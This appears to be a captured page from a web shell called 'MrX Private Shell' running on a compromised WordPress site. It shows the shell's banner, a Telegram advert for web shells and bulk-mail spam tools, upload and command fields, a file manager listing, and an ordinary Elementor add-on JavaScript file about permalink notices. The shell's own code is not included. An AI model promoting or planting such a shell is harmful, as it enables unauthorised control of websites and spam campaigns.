__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
var ElementorEditorCheck = function() {
    var isNoticeClosed = function() {

        jQuery(document).on('click', '.uae-permalink-notice-close', function(e) {
            var $notice = jQuery('#uae-permalink-clear-notice');
            if ($notice.data('visible')) {
                $notice.remove();
                jQuery.ajax({
                    url: hfePermalinkClearNotice.ajaxurl,
                    type: 'POST',
                    data: {
                        action: 'update_permalink_notice_option',
                        nonce: hfePermalinkClearNotice.nonce,
                    },
                    success: function(response) {
                        if (response.success) {
                            console.log('Option updated successfully');
                        } else {
                            console.log('Error updating option: ' + response.data);
                        }
                    },
                    error: function(error) {
                        console.log('Error updating option');
                    }
                });
            }
        });
    }

    var isPermalinkFlushed = function() {

        jQuery(document).on('click', '.uae-permalink-flush-btn', function(e) {
            
            var $loader = jQuery('.uae-notice-loader');
            var $button = jQuery(this);
            var $buttonText = $button.find('.uae-btn-main-text');

            // Show loader and disable button
            $loader.show();
            $buttonText.text('Flushing...');
            $button.prop('disabled', true);
            
            jQuery.ajax({
                    url: hfePermalinkClearNotice.ajaxurl,
                    type: 'POST',
                    data: {
                        action: 'hfe_flush_permalink_notice',
                        nonce: hfePermalinkClearNotice.nonce,
                    },
                    success: function(response) {
                        // Hide the loader
                        $loader.hide();
                        $buttonText.text('Flushed Permalink');
                        if (response.success) {
                            console.log('Permalink refreshed successfully');
                            location.reload(true);
                        } else {
                            console.log('Error updating option: ' + response.data);
                        }
                    },
                    error: function(error) {
                         // Hide the loader
                        $loader.hide();
                        $buttonText.text('Flushed Permalink');
                        console.log('Error updating option');
                    }
                });
            });
    }


    var isElementorLoadedCheck = function() {
        if ( 'undefined' === typeof elementor ) {
            return false;
        }
        
        if ( ! elementor.loaded ) {
            return false;
        }

        if ( jQuery( '#elementor-loading' ).is( ':visible' ) ) {
            return false;
        }

        return true;
    };

    var permalinkNoticeCheck = function() {
        var $notice = jQuery( '#uae-permalink-clear-notice' );

        if ( isElementorLoadedCheck() ) {
            $notice.remove();
            return;
        }

        if ( ! $notice.data( 'visible' ) ) {
            $notice.show().data( 'visible', true );
        }

        // Re-check after 500ms.
        setTimeout( permalinkNoticeCheck, 500 );
    };

    var init = function() {
        setTimeout( permalinkNoticeCheck, 30000 );
        isNoticeClosed();
        isPermalinkFlushed();
    };

    init();
};

new ElementorEditorCheck();

Filemanager

Name Type Size Permission Actions
counter.js File 4.93 KB 0664
frontend.js File 30.82 KB 0664
hfe-elementor-pro-compatibility.js File 2.98 KB 0664
permalink-clear-notice.js File 3.6 KB 0664
woo-products.js File 1.11 KB 0664
Filemanager